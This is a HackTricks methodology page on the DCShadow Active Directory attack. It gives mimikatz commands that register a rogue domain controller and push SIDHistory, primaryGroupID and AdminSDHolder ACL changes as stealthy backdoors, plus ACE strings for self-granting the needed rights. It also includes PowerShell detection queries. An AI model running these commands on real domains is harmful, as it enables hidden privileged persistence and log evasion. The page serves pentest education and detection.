dcshadow.md (7238B)
1 --- 2 title: "DCShadow" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/dcshadow.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/dcshadow.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # DCShadow 14 15 ## Basic Information 16 17 It registers a **new Domain Controller** in the AD and uses it to **push attributes** (SIDHistory, SPNs...) on specified objects **without** leaving any **logs** regarding the **modifications**. You **need DA** privileges and be inside the **root domain**.\ 18 Note that if you use wrong data, pretty ugly logs will appear.<sup>[[2]](#references)</sup> 19 20 To perform the attack you need 2 mimikatz instances. One of them will start the RPC servers with SYSTEM privileges (you have to indicate here the changes you want to perform), and the other instance will be used to push the values: 21 22 ```bash 23 !+ 24 !processtoken 25 lsadump::dcshadow /object:username /attribute:Description /value="My new description" 26 ``` 27 28 ```bash 29 lsadump::dcshadow /push 30 ``` 31 32 Notice that **`elevate::token`** won't work in `mimikatz1` session as that elevated the privileges of the thread, but we need to elevate the **privilege of the process**.\ 33 You can also select and "LDAP" object: `/object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local` 34 35 You can push the changes from a DA or from a user with this minimal permissions: 36 37 - In the **domain object**: 38 - _DS-Install-Replica_ (Add/Remove Replica in Domain) 39 - _DS-Replication-Manage-Topology_ (Manage Replication Topology) 40 - _DS-Replication-Synchronize_ (Replication Synchornization) 41 - The **Sites object** (and its children) in the **Configuration container**: 42 - _CreateChild and DeleteChild_ 43 - The object of the **computer which is registered as a DC**: 44 - _WriteProperty_ (Not Write) 45 - The **target object**: 46 - _WriteProperty_ (Not Write) 47 48 You can use [**Set-DCShadowPermissions**](https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1) to give these privileges to an unprivileged user (notice that this will leave some logs). This is much more restrictive than having DA privileges.\ 49 For example: `Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose` This means that the username _**student1**_ when logged on in the machine _**mcorp-student1**_ has DCShadow permissions over the object _**root1user**_. 50 51 ## Using DCShadow to create backdoors 52 53 ```bash 54 lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519 55 ``` 56 57 ```bash 58 lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519 59 ``` 60 61 ```bash 62 #First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519 63 (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl 64 #Second, add to the ACE permissions to your user and push it using DCShadow 65 lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL> 66 ``` 67 68 ### Primary group abuse, enumeration gaps, and detection 69 70 - `primaryGroupID` is a separate attribute from the group `member` list. DCShadow/DSInternals can write it directly (e.g., set `primaryGroupID=512` for **Domain Admins**) without on-box LSASS enforcement, but AD still **moves** the user: changing PGID always strips membership from the previous primary group (same behavior for any target group), so you cannot keep the old primary-group membership.<sup>[[1]](#references)</sup> 71 - Default tools prevent removing a user from their current primary group (`ADUC`, `Remove-ADGroupMember`), so changing PGID typically requires direct directory writes (DCShadow/`Set-ADDBPrimaryGroup`). 72 - Membership reporting is inconsistent: 73 - **Includes** primary-group-derived members: `Get-ADGroupMember "Domain Admins"`, `net group "Domain Admins"`, ADUC/Admin Center. 74 - **Omits** primary-group-derived members: `Get-ADGroup "Domain Admins" -Properties member`, ADSI Edit inspecting `member`, `Get-ADUser <user> -Properties memberOf`. 75 - Recursive checks can miss primary-group members if the **primary group is itself nested** (e.g., user PGID points to a nested group inside Domain Admins); `Get-ADGroupMember -Recursive` or LDAP recursive filters will not return that user unless recursion explicitly resolves primary groups. 76 - DACL tricks: attackers can **deny ReadProperty** on `primaryGroupID` at the user (or on the group `member` attribute for non-AdminSDHolder groups), hiding effective membership from most PowerShell queries; `net group` will still resolve the membership. AdminSDHolder-protected groups will reset such denies. 77 78 Detection/monitoring examples: 79 80 ```powershell 81 # Find users whose primary group is not the default Domain Users (RID 513) 82 Get-ADUser -Filter * -Properties primaryGroup,primaryGroupID | 83 Where-Object { $_.primaryGroupID -ne 513 } | 84 Select-Object Name,SamAccountName,primaryGroupID,primaryGroup 85 ``` 86 87 ```powershell 88 # Find users where primaryGroupID cannot be read (likely denied via DACL) 89 Get-ADUser -Filter * -Properties primaryGroupID | 90 Where-Object { -not $_.primaryGroupID } | 91 Select-Object Name,SamAccountName 92 ``` 93 94 Cross-check privileged groups by comparing `Get-ADGroupMember` output with `Get-ADGroup -Properties member` or ADSI Edit to catch discrepancies introduced by `primaryGroupID` or hidden attributes.<sup>[[1]](#references)</sup> 95 96 ## Shadowception - Give DCShadow permissions using DCShadow (no modified permissions logs) 97 98 We need to append following ACEs with our user's SID at the end:<sup>[[2]](#references)</sup> 99 100 - On the domain object: 101 - `(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` 102 - `(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)` 103 - `(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` 104 - On the attacker computer object: `(A;;WP;;;UserSID)` 105 - On the target user object: `(A;;WP;;;UserSID)` 106 - On the Sites object in Configuration container: `(A;CI;CCDC;;;UserSID)` 107 108 To get the current ACE of an object: `(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl` 109 110 In this case you need to make **several changes**, not just one. In the **mimikatz1 session** (RPC server), use the **`/stack` parameter with each change**. You then need to **`/push`** only once to apply all stacked changes from the rogue server. 111 112 [**More information about DCShadow in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow)<sup>[[2]](#references)</sup> 113 114 ## References 115 116 - [1] [TrustedSec - Adventures in Primary Group Behavior, Reporting, and Exploitation](https://trustedsec.com/blog/adventures-in-primary-group-behavior-reporting-and-exploitation) 117 - [2] [DCShadow write-up in ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow)